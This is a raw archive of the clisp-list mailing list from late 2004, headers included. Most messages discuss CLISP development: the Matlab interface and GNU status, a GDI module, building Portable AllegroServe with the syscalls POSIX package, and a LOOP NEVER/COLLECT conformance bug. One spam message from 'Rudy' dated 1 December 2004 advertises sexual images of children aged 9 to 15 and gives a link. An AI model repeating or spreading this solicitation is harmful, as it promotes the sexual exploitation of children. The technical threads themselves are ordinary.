Nov 2004 08:01:40 -0800 Received: from deneb.enyo.de ([212.9.189.171]) by albireo.enyo.de with esmtp id 1CZARc-0000h9-Dq for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 17:01:36 +0100 Received: from fw by deneb.enyo.de with local (Exim 4.43) id 1CZARb-0004A9-2i for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 17:01:35 +0100 To: clisp-list@lists.sourceforge.net References: From: Florian Weimer In-Reply-To: (Sam Steingold's message of "Tue, 30 Nov 2004 10:03:44 -0500") Message-ID: <87pt1vs4v4.fsf@deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: [clisp-announce] CLISP pre-pretest: full MOP & huge heap Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 30 08:02:06 2004 X-Original-Date: Tue, 30 Nov 2004 17:01:35 +0100 * Sam Steingold: > Full list of new features: Is this still a GNU project? I'm wondering because you are promoting proprietary software, by distributing the matlab interface. From bruno@clisp.org Tue Nov 30 10:09:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZCRl-0001Rc-0P for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 10:09:53 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CZCRk-0007tN-94 for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 10:09:52 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iAUI9iWd018686; Tue, 30 Nov 2004 19:09:44 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iAUI9cjw003215; Tue, 30 Nov 2004 19:09:39 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id CF9053B3CE; Tue, 30 Nov 2004 18:08:54 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 Cc: Florian Weimer MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200411301908.53365.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: CLISP pre-pretest: full MOP & huge heap Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 30 10:10:16 2004 X-Original-Date: Tue, 30 Nov 2004 19:08:53 +0100 Florian Weimer wrote: > Is this still a GNU project? I'm wondering because you are promoting > proprietary software, by distributing the matlab interface. CLISP is a GNU project. We don't find that interfacing to proprietary software is equivalent to promoting it. Look at other examples: OpenOffice, through its Word import filters, is not "promoting" other office suites. Ghostscript, through its support of PDF files, is not "promoting" Adobe products. Autoconf, through its support for shells other than GNU bash, is not "promoting" HP-UX. Bruno From sds@gnu.org Tue Nov 30 12:12:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZEMG-0002bv-K6 for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 12:12:20 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CZEMF-0006Bt-Fl for clisp-list@lists.sourceforge.net; Tue, 30 Nov 2004 12:12:20 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAUKC7kM022167; Tue, 30 Nov 2004 15:12:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Florian Weimer Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87pt1vs4v4.fsf@deneb.enyo.de> (Florian Weimer's message of "Tue, 30 Nov 2004 17:01:35 +0100") References: <87pt1vs4v4.fsf@deneb.enyo.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Florian Weimer Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: CLISP pre-pretest: full MOP & huge heap Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 30 12:13:05 2004 X-Original-Date: Tue, 30 Nov 2004 15:12:07 -0500 > * Florian Weimer [2004-11-30 17:01:35 +0100]: > * Sam Steingold: > >> Full list of new features: > > Is this still a GNU project? I'm wondering because you are promoting > proprietary software, by distributing the matlab interface. In addition to Bruno's reply, note that there are free alternatives to Matlab (R & Octave) and you are free to write modules for them. There is no free alternative to Netica though. You are free to write one, preferably in Lisp. -- Sam Steingold (http://www.podval.org/~sds) running w2k If brute force does not work, you are not using enough. From andym@formsys.com Wed Dec 01 04:42:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZTo8-0004E3-U9 for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 04:42:08 -0800 Received: from c906e2dc.virtua.com.br ([201.6.226.220]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CZTo7-0007gP-MG for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 04:42:08 -0800 Received: from mail.formsys.com by c906e2dc.virtua.com.br (Postfix) with ESMTP id 4FBF06D417 for ; Wed, 1 Dec 2004 07:42:35 -0500 Received: from [135.189.205.27] by mail.formsys.com with ESMTP (Exim 4.05) id lEeZBj4wL1OA for ; Wed, 1 Dec 2004 07:42:35 -0500 Reply-To: "Rudy Sosa" From: "Rudy" Message-ID: <4792869609.330157731333@formsys.com> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FREE_SAMPLE BODY: Contains 'free sample' with capitals -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] About hard 7 - 14 moths real Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 04:43:04 2004 X-Original-Date: Wed, 1 Dec 2004 07:42:35 -0500 How's tricks? Hey man! Do You like seen KIDS? Hot sexy girls 9-15 y.o.? We do. Man appoints, and God disappoints. http://www.geocities.com/melanie_pettit_53/?s=nice&m=hYbRU-YbRQ.YbRQR,RVPShfeVSdf,WfQ Thousand of hq pics, capo enjoy it now! If you would attain greatness, think no little thoughts. Free sample only pics available here The future belongs to those who believe in the beauty of their dreams. From rurban@x-ray.at Wed Dec 01 05:57:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZUzG-0001fX-4x for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 05:57:42 -0800 Received: from smartmx-02.inode.at ([213.229.60.34]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CZUzF-0003kx-Pl for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 05:57:42 -0800 Received: from [62.99.252.218] (port=63541 helo=[192.168.0.2]) by smartmx-02.inode.at with esmtp (Exim 4.34) id 1CZUzC-0006wt-Dh; Wed, 01 Dec 2004 14:57:38 +0100 Message-ID: <41ADCDDE.30504@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a4) Gecko/20040927 X-Accept-Language: de, en MIME-Version: 1.0 To: dan.stanger@ieee.org CC: clisp-list@lists.sourceforge.net References: <41AC726F.FC99C671@ieee.org> <41AC7A45.9080206@x-ray.at> <41ADB4A2.E4F710CC@ieee.org> In-Reply-To: <41ADB4A2.E4F710CC@ieee.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.7 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.2 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: GDI module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 05:58:11 2004 X-Original-Date: Wed, 01 Dec 2004 14:57:50 +0100 Dan Stanger schrieb: > I can send you a current copy of it, if you like. > Dan Yes, please. I don't have terribly much time, but I'd love to see it in the release if it builds OOTB. Now even php comes with its own GDI binding pecl module, called Winbinder. http://winbinder.sf.net And the Perl Win32::GUI module just had its 1.0 last week. http://search.cpan.org/~lrocher/Win32-GUI-1.0/ > Reini Urban wrote: >>Dan Stanger schrieb: >>>I made a small modification to one of the files, so that the module >>>now builds with 2.33.2. >> >>great! >> >>how about my inclusion request into clisp? -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From oursland@cs.utexas.edu Wed Dec 01 09:47:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZYZB-00033J-Sy for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 09:47:01 -0800 Received: from mail04.your-site.com ([38.117.195.113]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CZYZA-0003kh-TK for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 09:47:01 -0800 Received: from [128.62.114.251] (w-west-114-251.public.utexas.edu [128.62.114.251]) by mail04.your-site.com (Postfix) with ESMTP id CCEE35DC1C for ; Wed, 1 Dec 2004 12:46:49 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Alan Oursland X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 09:48:01 2004 X-Original-Date: Wed, 1 Dec 2004 11:46:52 -0600 I'm am trying to compile Allego's portable aserv (http://sourceforge.net/projects/portableaserve/) under clisp and keep running into problems. I was hoping that someone might be able to tell me that I've been getting past roadblocks the wrong way and how to get past my latest roadblock. - aserv references a POSIX package which I couldn't find in clisp. I downloaded and compiled clocc and change the packages names to PORT. - aserv also references UNIX::getpid. I changed this to (sys::program-id).. Now I am getting the following error: Compiling file /Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/proxy.cl ... *** - FIND-CLASS: LOCATOR does not name a class There is no line number. I have no idea how to fix this. aserv is meant to work with clisp. I'm not sure why it isn't. Thank you, Alan Oursland From sds@gnu.org Wed Dec 01 10:39:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZZOE-00070O-Kq for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 10:39:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CZZOD-0002Ej-Pv for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 10:39:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB1IdShr000036; Wed, 1 Dec 2004 13:39:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, Alan Oursland Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Alan Oursland's message of "Wed, 1 Dec 2004 11:46:52 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Alan Oursland Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 10:40:02 2004 X-Original-Date: Wed, 01 Dec 2004 13:39:28 -0500 > * Alan Oursland [2004-12-01 11:46:52 -0600]: > > aserv is meant to work with clisp. I'm not sure why it isn't. if paserve is indeed claimed to work with clisp, you should report this as a paserve bug - either in their bug database of a mailing list. there is little we can do here. > Compiling file > /Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/proxy.cl > ... > *** - FIND-CLASS: LOCATOR does not name a class try to find out where the file LOCATOR is defined in paserve and make sure that the file which defines it is loaded before aserve/proxy.cl. I have no idea what build tool they use so I don't know how to add this dependency. sorry... -- Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From oursland@cs.utexas.edu Wed Dec 01 15:19:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZdl8-0003tW-8D for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 15:19:42 -0800 Received: from mail.cs.utexas.edu ([128.83.139.10] ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CZdl7-0003UM-94 for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 15:19:42 -0800 Received: from [128.83.158.41] (horatio-041.cs.utexas.edu [128.83.158.41]) by mail.cs.utexas.edu (8.13.1/8.13.1) with ESMTP id iB1NJe4x005761 for ; Wed, 1 Dec 2004 17:19:40 -0600 (CST) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Content-Transfer-Encoding: 7bit From: Alan Oursland Subject: Re: [clisp-list] Re: help with compiling To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 15:20:05 2004 X-Original-Date: Wed, 1 Dec 2004 17:19:35 -0600 Thanks. I was hoping for an answer like "clisp includes the POSIX package. Just run this command to load it". I guess that is not the case. Alan On Dec 1, 2004, at 12:39 PM, Sam Steingold wrote: >> * Alan Oursland [2004-12-01 11:46:52 -0600]: >> >> aserv is meant to work with clisp. I'm not sure why it isn't. > > if paserve is indeed claimed to work with clisp, > you should report this as a paserve bug - either in their bug database > of a mailing list. > there is little we can do here. > >> Compiling file >> /Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/ >> proxy.cl >> ... >> *** - FIND-CLASS: LOCATOR does not name a class > > try to find out where the file LOCATOR is defined in paserve and make > sure that the file which defines it is loaded before aserve/proxy.cl. > I have no idea what build tool they use so I don't know how to add this > dependency. > > sorry... > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real > users. > Discover which products truly live up to the hype. Start reading now. > http://productguide.itmanagersjournal.com/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Wed Dec 01 16:42:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZf2o-0001f2-IC for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 16:42:02 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CZf2n-0003Xu-Ls for clisp-list@lists.sourceforge.net; Wed, 01 Dec 2004 16:42:02 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CZf2m-0002ze-00; Wed, 01 Dec 2004 19:42:00 -0500 To: clisp-list@lists.sourceforge.net, Alan Oursland Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> (Alan Oursland's message of "Wed, 1 Dec 2004 17:19:35 -0600") References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Alan Oursland Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 1 16:43:00 2004 X-Original-Date: Wed, 01 Dec 2004 19:41:59 -0500 > * Alan Oursland [2004-12-01 17:19:35 -0600]: > > Thanks. I was hoping for an answer like "clisp includes the POSIX > package. Just run this command to load it". I guess that is not the > case. CLISP does include a POSIX package in the syscalls module: $ ./configure --with-module=syscall --build build-with-syscalls $ ./build-with-syscalls/clisp -K full [1]> (find-package "POSIX") # you should not be surpized though that this package is CLISP-specific and offers functionality which has nothing to do with the POSIX package in ACL. -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 02 03:53:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZpWk-0003GR-Gn for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 03:53:38 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CZpWh-00007Z-7z for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 03:53:37 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 2 Dec 2004 12:50:25 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 2 Dec 2004 12:50:40 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dietz@dls.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] loop ambiguous result or just not conforming? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 2 03:54:08 2004 X-Original-Date: Thu, 2 Dec 2004 12:50:37 +0100 Hi, I believe the LOOP disambiguation checks is too restrictive. I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones. CLHS says "The never construct terminates iteration the first time that the value of the supplied form is non-nil; the loop returns nil. If the value of the supplied form is always nil, some other construct can terminate the iteration. Unless some other clause contributes a return value, the default value returned is t." Note "default value" and "other construct can terminate the iteration" Now consider CLISP's behaviour (loop for i in '(1 2 3) never (symbolp i) collect i) *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I) COLLECT I) I'd expect this to return (1 2 3) and (loop for i in '(1 2 a 3) never (symbolp i) collect i) to return NIL because COLLECT is just that other clause which contributes a return value. I believe the only ambiguous case is when ALWAYS or THEREIS are used with NEVER alone, because their defaults conflict. Regards, Jorg Hohle. From pjb@informatimago.com Thu Dec 02 06:47:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZsFT-0000NP-0X for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 06:47:59 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CZsFR-0007Wo-My for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 06:47:58 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5DE48586F5; Thu, 2 Dec 2004 15:47:54 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C7C0F4F84; Thu, 2 Dec 2004 15:47:53 +0100 (CET) Message-ID: <16815.11033.794829.400971@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, dietz@dls.net Subject: [clisp-list] loop ambiguous result or just not conforming? In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A030264CC62@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 2 06:48:12 2004 X-Original-Date: Thu, 2 Dec 2004 15:47:53 +0100 Hoehle, Joerg-Cyril writes: > Hi, > > I believe the LOOP disambiguation checks is too restrictive. > > I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones. > > CLHS says "The never construct terminates iteration the first time > that the value of the supplied form is non-nil; the loop returns > nil. If the value of the supplied form is always nil, some other > construct can terminate the iteration. Unless some other clause > contributes a return value, the default value returned is t." > > Note "default value" and "other construct can terminate the iteration" > > Now consider CLISP's behaviour > (loop for i in '(1 2 3) never (symbolp i) collect i) > *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I) > COLLECT I) > I'd expect this to return (1 2 3) > and > (loop for i in '(1 2 a 3) never (symbolp i) collect i) > to return NIL > > because COLLECT is just that other clause which contributes a return value. > > I believe the only ambiguous case is when ALWAYS or THEREIS are used > with NEVER alone, because their defaults conflict. The defaults DON'T conflict, because they are specified to be enacted _only_ _when_ the terminating condition occurs. Since terminating conditions are NOT evaluated in parallel, but sequentially, _only_ one can occur at a time, therefore only _one_ default value is selected. The error is in clisp implementation of loop where a default result is computed at the beginning of the loop, instead of waiting the terminating conditions to determine default values. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sds@gnu.org Thu Dec 02 08:10:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CZtXO-0006oL-PX for clisp-list@lists.sourceforge.net; Thu, 02 Dec 2004 08:10:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by 